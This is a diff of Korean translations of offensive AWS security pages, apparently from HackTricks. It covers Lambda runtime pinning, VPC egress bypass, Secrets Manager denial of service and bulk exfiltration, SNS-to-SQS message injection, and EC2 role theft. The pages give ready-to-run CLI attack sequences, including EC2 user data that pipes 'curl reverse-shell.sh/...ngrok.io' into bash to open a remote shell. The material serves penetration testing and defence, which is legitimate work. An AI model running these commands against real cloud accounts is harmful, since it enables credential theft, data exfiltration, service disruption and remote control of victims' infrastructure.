Abuse `lambda:PutRuntimeManagementConfig`를 사용해 함수를 특정 런타임 버전(Manual)에 고정하거나 업데이트를 중단(FunctionUpdate)할 수 있습니다. 이렇게 하면 악성 layer/wrappers와의 호환성이 유지되며, 함수가 오래된 취약한 런타임에 머물러 공격 및 장기적인 지속성에 유리하게 작용할 수 있습니다.
|
||||
|
||||
Requirements: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
|
||||
|
||||
Example (us-east-1):
|
||||
- 호출: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- 업데이트 동결: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- 확인: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
- 업데이트 고정: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- 검증: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
|
||||
선택적으로 INIT_START 로그에서 Runtime Version ARN을 추출한 뒤 `--update-runtime-on Manual --runtime-version-arn <arn>`를 사용해 특정 런타임 버전으로 고정할 수 있습니다.
|
||||
선택적으로 INIT_START 로그에서 Runtime Version ARN을 추출하고 `--update-runtime-on Manual --runtime-version-arn <arn>`를 사용해 특정 런타임 버전에 고정할 수 있습니다.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,16 +1,18 @@
|
||||
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
|
||||
|
||||
제한된 VPC에서 Lambda 함수를 강제로 분리하려면 빈 VpcConfig(SubnetIds=[], SecurityGroupIds=[])로 구성 업데이트를 수행합니다. 그러면 함수는 Lambda-managed 네트워킹 영역에서 실행되어 outbound 인터넷 접근을 회복하고 NAT 없는 private VPC 서브넷에서 적용되는 egress 제어를 우회합니다.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 악용
|
||||
빈 VpcConfig(SubnetIds=[], SecurityGroupIds=[])로 구성 업데이트하여 제한된 VPC에서 Lambda 함수를 강제로 분리합니다. 그러면 함수는 Lambda가 관리하는 네트워킹 플레인에서 실행되어 아웃바운드 인터넷 접근을 회복하고 NAT이 없는 사설 VPC 서브넷에서 적용되는 egress 제어를 우회합니다.
|
||||
|
||||
- 전제 조건: 대상 함수에 대한 lambda:UpdateFunctionConfiguration 권한(검증을 위한 lambda:InvokeFunction 포함), 그리고 코드/핸들러를 변경할 경우 이를 업데이트할 권한.
|
||||
- 가정: 함수가 현재 VpcConfig로 NAT 없는 private 서브넷을 가리키도록 구성되어 있어(따라서 outbound 인터넷이 차단됨).
|
||||
## Abusing it
|
||||
|
||||
- Pre-reqs: lambda:UpdateFunctionConfiguration on the target function (and lambda:InvokeFunction to validate), plus permissions to update code/handler if changing them.
|
||||
- Assumptions: The function is currently configured with VpcConfig pointing to private subnets without NAT (so outbound internet is blocked).
|
||||
- Region: us-east-1
|
||||
|
||||
### 단계
|
||||
### Steps
|
||||
|
||||
0) 아웃바운드 HTTP가 동작함을 증명하는 최소 핸들러 준비
|
||||
0) Prepare a minimal handler that proves outbound HTTP works
|
||||
|
||||
cat > net.py <<'PY'
|
||||
import urllib.request, json
|
||||
@@ -26,12 +28,12 @@ zip net.zip net.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
|
||||
|
||||
1) 현재 VPC 구성 기록(나중에 복원할 경우 대비)
|
||||
1) 현재 VPC 구성 기록(필요 시 나중에 복원하려고)
|
||||
|
||||
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
|
||||
cat /tmp/orig-vpc.json
|
||||
|
||||
2) 빈 리스트로 설정해 VPC 분리
|
||||
2) 빈 리스트로 설정하여 VPC 분리
|
||||
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
@@ -39,7 +41,7 @@ aws lambda update-function-configuration \
|
||||
--region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
|
||||
3) 호출 및 아웃바운드 접근 확인
|
||||
3) Invoke 및 아웃바운드 접속 확인
|
||||
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
|
||||
cat /tmp/net-out.json
|
||||
@@ -51,13 +53,14 @@ SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.Securit
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
|
||||
fi
|
||||
|
||||
### 영향
|
||||
- 함수의 제한 없는 outbound 인터넷 액세스를 회복하여, NAT 없는 private 서브넷에 의도적으로 격리된 워크로드에서 data exfiltration 또는 C2가 가능하게 됩니다.
|
||||
### Impact
|
||||
- 함수가 제한 없이 아웃바운드 인터넷 접근을 회복하여, 의도적으로 NAT 없이 사설 서브넷에 격리된 워크로드에서 데이터 유출 또는 C2 통신이 가능해집니다.
|
||||
|
||||
### 예시 출력 (VpcConfig 분리 후)
|
||||
### Example output (after detaching VpcConfig)
|
||||
|
||||
{"egress": true, "ip": "34.x.x.x"}
|
||||
|
||||
### 정리
|
||||
- 임시로 수정한 코드/핸들러가 있다면 복원하세요.
|
||||
- 위에서 저장한 /tmp/orig-vpc.json에 있는 원래 VpcConfig를 선택적으로 복원할 수 있습니다.
|
||||
### Cleanup
|
||||
- 임시 코드/핸들러 변경을 했다면 복원하세요.
|
||||
- 선택적으로 위에 저장한 /tmp/orig-vpc.json의 원래 VpcConfig를 복원할 수 있습니다.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,22 +4,22 @@
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Read Secrets
|
||||
### Secrets 읽기
|
||||
|
||||
**secrets 자체는 민감한 정보입니다.** 읽는 방법은 [privesc 페이지](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md)를 확인하세요.
|
||||
The **Secrets 자체가 민감한 정보입니다**, [check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) to learn how to read them.
|
||||
|
||||
### DoS Change Secret Value
|
||||
### DoS — Secret 값 변경
|
||||
|
||||
해당 secret의 값을 변경하면 그 값을 사용하는 모든 시스템을 **DoS**할 수 있습니다.
|
||||
secret의 값을 변경하면 해당 값에 의존하는 모든 시스템을 **DoS할 수 있습니다.**
|
||||
|
||||
> [!WARNING]
|
||||
> 이전 값들도 저장되므로, 이전 값으로 되돌리는 것이 쉽습니다.
|
||||
> 이전 값도 저장되므로 이전 값으로 쉽게 되돌릴 수 있습니다.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
@@ -28,11 +28,11 @@ aws secretsmanager put-secret-value \
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
공격자가 secretsmanager:UpdateSecret 권한을 가지고 있다면, secret을 공격자가 소유한 KMS key를 사용하도록 구성할 수 있습니다. 그 키는 초기에는 누구나 접근하여 사용할 수 있도록 설정되어 있어, 새 키로 secret을 업데이트하는 것이 가능합니다. 만약 키에 접근할 수 없었다면, secret을 업데이트할 수 없었을 것입니다.
|
||||
만약 attacker가 secretsmanager:UpdateSecret 권한을 가지고 있다면, 그들은 secret이 attacker가 소유한 KMS key를 사용하도록 구성할 수 있다. 그 key는 처음에 누구나 접근하고 사용할 수 있도록 설정되어 있어서 secret을 새로운 key로 업데이트하는 것이 가능하다. 만약 그 key에 접근할 수 없었다면 secret을 업데이트할 수 없었을 것이다.
|
||||
|
||||
secret의 키를 변경한 후, 공격자는 자신의 키 설정을 수정하여 오직 자신만 접근할 수 있게 만듭니다. 이렇게 하면 이후 버전의 secret들은 새 키로 암호화되며, 해당 키에 대한 접근 권한이 없기 때문에 secret을 조회할 수 있는 능력이 상실됩니다.
|
||||
secret의 key를 변경한 뒤, attacker는 자신의 key 구성을 변경하여 자신만 접근할 수 있도록 만든다. 이렇게 하면 이후 버전의 secret들은 새로운 key로 암호화되고, 해당 key에 대한 접근이 없기 때문에 secret을 가져오는 능력을 잃게 된다.
|
||||
|
||||
중요한 점은 현재 버전은 여전히 원래 KMS key로 암호화되어 있으므로, 이러한 접근 불가 상태는 secret의 내용이 변경된 이후인 이후 버전에서만 발생한다는 것입니다.
|
||||
이 접근 불가 상태는 secret의 내용이 변경된 이후의 이후 버전들에서만 발생한다는 점을 주의해야 한다. 현재 버전은 여전히 원래의 KMS key로 암호화되어 있기 때문이다.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
@@ -40,7 +40,7 @@ aws secretsmanager update-secret \
|
||||
```
|
||||
### DoS Deleting Secret
|
||||
|
||||
secret을 삭제하는 최소 일수는 7일입니다.
|
||||
비밀을 삭제하기 위한 최소 일수는 7일입니다
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
@@ -48,16 +48,16 @@ aws secretsmanager delete-secret \
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
삭제가 예약된 secret을 복원할 수 있습니다. secret의 최소 삭제 기간은 7일, 최대는 30일이기 때문입니다. secretsmanager:GetSecretValue 권한과 함께 사용하면 해당 내용을 가져올 수 있습니다.
|
||||
secret을 복원할 수 있습니다. 이는 삭제 예약된 secret을 복원할 수 있게 해주는데, secret의 최소 삭제 기간은 7일이고 최대는 30일입니다. secretsmanager:GetSecretValue 권한과 함께 사용하면 해당 secret의 내용을 가져올 수 있습니다.
|
||||
|
||||
삭제 중인 secret을 복구하려면, 다음 명령을 사용할 수 있습니다:
|
||||
삭제 중인 secret을 복구하려면 다음 명령을 사용할 수 있습니다:
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
이 액션은 secret에 대한 접근을 제어하는 리소스 정책(resource policy)을 삭제할 수 있게 합니다. 리소스 정책이 특정 사용자 집합에 대한 접근을 허용하도록 구성되어 있었다면, 이는 DoS로 이어질 수 있습니다.
|
||||
이 액션은 누가 secret에 접근할 수 있는지를 제어하는 리소스 정책을 삭제할 수 있게 합니다. 리소스 정책이 특정 사용자 집합에 대한 접근을 허용하도록 구성되어 있었다면 이는 DoS로 이어질 수 있습니다.
|
||||
|
||||
리소스 정책을 삭제하려면:
|
||||
```bash
|
||||
@@ -66,11 +66,11 @@ aws secretsmanager delete-resource-policy \
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
secret의 상태는 해당 secret의 버전을 관리하는 데 사용됩니다. AWSCURRENT는 애플리케이션이 사용하는 활성 버전을 표시하고, AWSPREVIOUS는 필요 시 롤백할 수 있도록 이전 버전을 보관하며, AWSPENDING는 새 버전을 현재 버전으로 만들기 전에 준비하고 검증하는 rotation 과정에서 사용됩니다.
|
||||
비밀의 상태는 비밀의 버전을 관리하는 데 사용됩니다. AWSCURRENT는 애플리케이션이 사용하는 활성 버전을 표시하고, AWSPREVIOUS는 필요 시 롤백할 수 있도록 이전 버전을 보관하며, AWSPENDING은 rotation 프로세스에서 현재 버전으로 만들기 전에 새 버전을 준비하고 검증하는 데 사용됩니다.
|
||||
|
||||
애플리케이션은 항상 AWSCURRENT가 붙은 버전을 읽습니다. 누군가 그 라벨을 잘못된 버전으로 옮기면 앱은 잘못된 자격 증명을 사용해 실패할 수 있습니다.
|
||||
애플리케이션은 항상 AWSCURRENT 라벨이 붙은 버전을 읽습니다. 누군가 해당 라벨을 잘못된 버전으로 옮기면, 애플리케이션은 잘못된 자격증명을 사용하게 되어 실패할 수 있습니다.
|
||||
|
||||
AWSPREVIOUS는 자동으로 사용되지 않습니다. 다만 AWSCURRENT가 제거되거나 잘못 재할당되면 모든 것이 이전 버전으로 계속 실행되고 있는 것처럼 보일 수 있습니다.
|
||||
AWSPREVIOUS는 자동으로 사용되지 않습니다. 그러나 AWSCURRENT가 삭제되거나 잘못 재지정되면 모든 것이 여전히 이전 버전으로 실행되는 것처럼 보일 수 있습니다.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
@@ -78,24 +78,18 @@ aws secretsmanager update-secret-version-stage \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
|
||||
|
||||
Secrets Manager BatchGetSecretValue API를 악용하여 단일 요청으로 최대 20개의 secret을 가져올 수 있습니다. 이는 각 secret마다 GetSecretValue를 반복 호출하는 것보다 API 호출 수를 크게 줄여줄 수 있습니다. --filters( tags/name )를 사용하는 경우 ListSecrets 권한도 필요합니다. CloudTrail은 배치에서 가져온 각 secret에 대해 여전히 GetSecretValue 이벤트를 하나씩 기록합니다.
|
||||
Secrets Manager의 BatchGetSecretValue API를 악용하여 단일 요청으로 최대 20개의 secret을 가져올 수 있습니다. 이렇게 하면 각 secret마다 GetSecretValue를 반복 호출하는 것에 비해 API 호출 수를 크게 줄일 수 있습니다. filters (tags/name)가 사용되는 경우, ListSecrets 권한도 필요합니다. CloudTrail은 배치에서 가져온 각 secret에 대해 여전히 GetSecretValue 이벤트를 하나씩 기록합니다.
|
||||
|
||||
필요한 권한
|
||||
Required permissions
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- secretsmanager:GetSecretValue — 각 대상 secret에 대해
|
||||
- secretsmanager:ListSecrets — --filters를 사용하는 경우
|
||||
- kms:Decrypt — secret에 사용된 CMKs에 대해 (aws/secretsmanager를 사용하지 않는 경우)
|
||||
- secretsmanager:GetSecretValue (각 대상 secret에 대해)
|
||||
- secretsmanager:ListSecrets (--filters 사용 시)
|
||||
- kms:Decrypt (secrets에서 사용된 CMKs에 대해, aws/secretsmanager를 사용하지 않는 경우)
|
||||
|
||||
> [!WARNING]
|
||||
> `secretsmanager:BatchGetSecretValue` 권한만으로는 secret을 가져오는 데 충분하지 않습니다. 가져오려는 각 secret에 대해 `secretsmanager:GetSecretValue` 권한도 필요합니다.
|
||||
> 권한 `secretsmanager:BatchGetSecretValue`만으로는 secret을 가져오기에는 충분하지 않습니다. 가져오려는 각 secret에 대해 `secretsmanager:GetSecretValue`도 필요합니다.
|
||||
|
||||
Exfiltrate by explicit list
|
||||
```bash
|
||||
@@ -103,7 +97,7 @@ aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
필터별로 Exfiltrate (tag key/value 또는 name prefix)
|
||||
Exfiltrate — 필터(태그 key/value 또는 이름 접두사)를 통해
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
@@ -125,5 +119,7 @@ aws secretsmanager batch-get-secret-value \
|
||||
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
- 더 적은 API 호출로 많은 secrets를 빠르게 “smash-and-grab”하여, GetSecretValue 급증에 맞춰 튜닝된 alerting을 잠재적으로 우회할 수 있습니다.
|
||||
- CloudTrail logs에는 배치로 검색된 각 secret에 대해 여전히 하나의 GetSecretValue 이벤트가 포함됩니다.
|
||||
영향
|
||||
- 적은 API 호출로 많은 secrets를 빠르게 “smash-and-grab”하여 GetSecretValue의 급증에 맞춰진 alerting을 우회할 수 있음.
|
||||
- CloudTrail 로그에는 배치로 가져온 각 secret마다 여전히 하나의 GetSecretValue 이벤트가 포함됩니다.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,14 +4,14 @@
|
||||
|
||||
## 설명
|
||||
|
||||
공격자가 제어하는 SNS topic이 피해자 SQS 큐로 메시지를 게시할 수 있도록 SQS 큐의 resource policy를 악용합니다. 동일 계정에서는 SNS topic에 대한 SQS 구독이 자동으로 확인되지만, 크로스-계정 상황에서는 큐에서 SubscriptionConfirmation 토큰을 읽어와서 ConfirmSubscription을 호출해야 합니다. 이로 인해 하류 소비자가 암묵적으로 신뢰할 수 있는 무단 메시지 injection이 가능해집니다.
|
||||
공격자가 제어하는 SNS topic이 피해 SQS 큐에 메시지를 게시할 수 있도록 SQS 큐 리소스 정책을 악용한다. 동일 계정에서는 SNS topic에 대한 SQS subscription이 자동으로 확인(auto-confirms)되며; 크로스-계정에서는 큐에서 SubscriptionConfirmation 토큰을 읽고 ConfirmSubscription을 호출해야 한다. 이로 인해 하류 소비자가 암묵적으로 신뢰할 수 있는 미검증 메시지 주입이 가능해진다.
|
||||
|
||||
### 요구 사항
|
||||
- 대상 SQS 큐의 resource policy를 수정할 수 있는 권한: `sqs:SetQueueAttributes` (피해자 큐에 대해).
|
||||
- 공격자 계정에서 제어하는 SNS topic을 생성/게시/구독할 수 있는 권한: `sns:CreateTopic`, `sns:Publish`, `sns:Subscribe`.
|
||||
- 크로스-계정 전용: 확인 토큰을 읽고 `sns:ConfirmSubscription`을 호출하기 위해 피해자 큐에 대한 임시 `sqs:ReceiveMessage` 권한.
|
||||
### 요구사항
|
||||
- 대상 SQS 큐 리소스 정책을 수정할 수 있는 권한: `sqs:SetQueueAttributes` on the victim queue.
|
||||
- 공격자 제어의 SNS topic을 생성/게시할 수 있는 권한: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` on the attacker account/topic.
|
||||
- 크로스-계정 전용: 확인 토큰을 읽고 `sns:ConfirmSubscription`을 호출하기 위한 피해 큐에 대한 임시 `sqs:ReceiveMessage` 권한.
|
||||
|
||||
### 동일 계정에서의 악용
|
||||
### 동일 계정 악용
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create victim queue and capture URL/ARN
|
||||
@@ -44,11 +44,11 @@ aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoin
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
### 계정 간 주의사항
|
||||
- 위의 큐 정책은 외부 `TOPIC_ARN` (attacker account)을 허용해야 합니다.
|
||||
- 구독은 자동으로 확인되지 않습니다. victim queue에 대해 자신에게 임시로 `sqs:ReceiveMessage` 권한을 부여하여 `SubscriptionConfirmation` 메시지를 읽은 다음 해당 `Token`으로 `sns confirm-subscription`을 호출하세요.
|
||||
### 교차 계정 메모
|
||||
- 위의 큐 정책은 외부 `TOPIC_ARN` (attacker account)를 허용해야 합니다.
|
||||
- 구독은 자동으로 확인되지 않습니다. victim queue에 대해 임시로 `sqs:ReceiveMessage` 권한을 부여해 `SubscriptionConfirmation` 메시지를 읽은 다음 해당 `Token`을 사용해 `sns confirm-subscription`을 호출하세요.
|
||||
|
||||
### 영향
|
||||
**잠재적 영향**: 신뢰된 SQS 큐로 SNS를 통해 지속적으로 원치 않는 메시지를 주입하여 의도치 않은 처리, 데이터 오염 또는 워크플로 남용을 유발할 수 있습니다.
|
||||
**잠재적 영향**: 신뢰된 SQS 큐에 SNS를 통해 지속적으로 원치 않는 메시지를 주입하여 의도치 않은 처리, 데이터 오염, 또는 워크플로우 악용을 초래할 수 있습니다.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
더 자세한 **EC2에 대한 정보**는 다음을 확인하세요:
|
||||
EC2에 대한 **자세한 정보**는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,19 +12,19 @@
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
공격자는 **IAM 역할을 연결한 인스턴스를 생성한 다음 인스턴스에 접근하여** 메타데이터 엔드포인트에서 IAM 역할 자격 증명을 탈취할 수 있습니다.
|
||||
공격자는 **IAM role을 연결한 인스턴스를 생성한 다음 인스턴스에 접근**하여 metadata endpoint에서 IAM role 자격증명을 탈취할 수 있습니다.
|
||||
|
||||
- **SSH를 통한 접근**
|
||||
- **Access via SSH**
|
||||
|
||||
새 인스턴스를 **생성된** **ssh key** (`--key-name`)로 실행한 다음 ssh로 접속합니다 (새 키를 생성하려면 `ec2:CreateKeyPair` 권한이 필요할 수 있습니다).
|
||||
**생성된** **ssh key** (`--key-name`)를 사용해 새 인스턴스를 실행한 후 ssh로 접속합니다 (새로 생성하려면 `ec2:CreateKeyPair` 권한이 필요할 수 있습니다).
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
--security-group-ids <sg-id>
|
||||
```
|
||||
- **user data를 통한 rev shell 접근**
|
||||
- **user data의 rev shell을 통한 접근**
|
||||
|
||||
이 방법으로 새 인스턴스를 **user data** (`--user-data`)로 실행하면 **rev shell**을 받을 수 있습니다. 이렇게 하면 security group을 지정할 필요가 없습니다.
|
||||
새로운 인스턴스를 **user data** (`--user-data`)로 실행하면 **rev shell**을 보내도록 설정할 수 있습니다. 이렇게 하면 security group을 지정할 필요가 없습니다.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -40,11 +40,11 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** 기존 instance profiles에 연결된 EC2 role에 대한 직접적인 privesc.
|
||||
**Potential Impact:** 기존 instance profiles에 연결된 EC2 role에 대한 direct privesc.
|
||||
|
||||
#### Privesc to ECS
|
||||
|
||||
이 권한 집합으로 또한 **create an EC2 instance and register it inside an ECS cluster** 할 수 있습니다. 이렇게 하면 접근 가능한 **EC2 instance** 내부에서 ECS **services**가 **run** 되고, 이후 해당 서비스들 (docker containers)에 침투하여 **steal their ECS roles attached** 할 수 있습니다.
|
||||
이 권한들로 **create an EC2 instance and register it inside an ECS cluster** 할 수도 있습니다. 이렇게 하면, ECS **services**는 당신이 접근할 수 있는 **EC2 instance** 안에서 **run**되며, 그 서비스들 (docker containers)에 침투하여 **steal their ECS roles attached** 할 수 있습니다.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -67,12 +67,12 @@ To learn how to **force ECS services to be run** in this new EC2 instance check:
|
||||
|
||||
If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
|
||||
|
||||
**Potential Impact:** tasks에 연결된 ECS roles에 대한 직접적인 privesc.
|
||||
**잠재적 영향:** tasks에 연결된 ECS roles에 대한 직접적인 privesc.
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
이전 시나리오와 유사하게, 이러한 권한을 가진 공격자는 **손상된 인스턴스의 IAM role을 변경**하여 새로운 자격증명을 탈취할 수 있습니다.\
|
||||
instance profile은 role을 하나만 가질 수 있기 때문에, instance profile에 **이미 role이 있는 경우**(일반적인 경우)에는 **`iam:RemoveRoleFromInstanceProfile`** 권한도 필요합니다.
|
||||
이전 시나리오와 유사하게, 이러한 권한을 가진 공격자는 **침해된 인스턴스의 IAM role을 변경**하여 새로운 자격증명을 훔칠 수 있습니다.\
|
||||
인스턴스 프로파일은 하나의 role만 가질 수 있으므로, 인스턴스 프로파일에 **이미 role이 있는 경우**(일반적인 경우), **`iam:RemoveRoleFromInstanceProfile`** 권한도 필요합니다.
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
만약 **instance profile has a role**이고 공격자가 **cannot remove it**다면, 다른 우회 방법이 있습니다. 공격자는 **find** an **instance profile without a role** 또는 **create a new one** (`iam:CreateInstanceProfile`), 그 **instance profile**에 **role**을 **add**(앞서 설명한 것처럼)하고, 침해된 **instance profile**을 침해된 i**nstance:**에 **associate the instance profile**할 수 있습니다:
|
||||
만약 **instance profile has a role** 이고 attacker가 **cannot remove it** 못한다면, 다른 우회 방법이 있습니다. 그는 **find** 한 **instance profile without a role** 를 사용하거나 **create a new one** (`iam:CreateInstanceProfile`), 앞서 설명한 대로 그 **role** 을 해당 **instance profile** 에 **add** 한 뒤, compromised 된 **instance** 에 그 **instance profile** 을 **associate** 할 수 있습니다:
|
||||
|
||||
- 만약 인스턴스가 **doesn't have any instance** profile이라면 (`ec2:AssociateIamInstanceProfile`)
|
||||
- 만약 instance가 **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**잠재적 영향:** 다른 EC2 role로의 직접 privesc (AWS EC2 instance를 이미 침해했고 추가 권한이나 특정 instance profile 상태가 필요함).
|
||||
**Potential Impact:** 다른 EC2 role로의 직접 privesc (AWS EC2 인스턴스를 침해했고 추가 권한 또는 특정 instance profile 상태가 필요합니다).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
이러한 permissions을 통해 인스턴스에 연관된 instance profile을 변경할 수 있습니다. 따라서 공격자가 이미 해당 instance에 접근해 있다면, 연관된 instance profile을 변경하여 더 많은 instance profile roles의 credentials을 steal할 수 있습니다.
|
||||
이 권한들이 있으면 인스턴스에 연결된 instance profile을 변경할 수 있습니다. 따라서 공격자가 이미 인스턴스에 접근 권한을 가지고 있다면, 연결된 instance profile을 변경해 더 많은 instance profile 역할의 자격 증명을 탈취할 수 있습니다.
|
||||
|
||||
- 만약 해당 인스턴스가 **instance profile을 가지고 있다면**, instance profile을 **제거**(`ec2:DisassociateIamInstanceProfile`)하고 **연결**할 수 있습니다
|
||||
- 인스턴스에 **instance profile**이 있다면, 해당 instance profile을 **제거**(`ec2:DisassociateIamInstanceProfile`)하고 **연결**할 수 있습니다
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- 또는 침해된 인스턴스의 **instance profile**을 **교체**합니다 (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
- 또는 손상된 인스턴스의 **instance profile**을 **교체**합니다 (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**Potential Impact:** 다른 EC2 role로의 직접 privesc (이를 위해서는 AWS EC2 인스턴스를 침해했어야 하며 추가 권한 또는 특정 인스턴스 프로파일 상태가 필요합니다).
|
||||
**Potential Impact:** 다른 EC2 role로의 Direct privesc (AWS EC2 인스턴스를 이미 침해했거나 추가 권한 또는 특정 instance profile 상태가 필요합니다).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
해당 권한 **`ec2:RequestSpotInstances`와 `iam:PassRole`**을 가진 공격자는 **EC2 Role이 연결된 Spot Instance**를 **request**하고 **user data**에 **rev shell**을 넣을 수 있습니다.\
|
||||
인스턴스가 실행되면, 공격자는 **IAM role을 탈취**할 수 있습니다.
|
||||
권한 **`ec2:RequestSpotInstances`와 `iam:PassRole`**을(를) 가진 공격자는 **user data**에 **rev shell**을 포함한 상태로 **EC2 Role**이 연결된 **Spot Instance**를 **요청**할 수 있습니다.\
|
||||
인스턴스가 실행되면, 공격자는 **IAM role**을 **탈취**할 수 있습니다.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
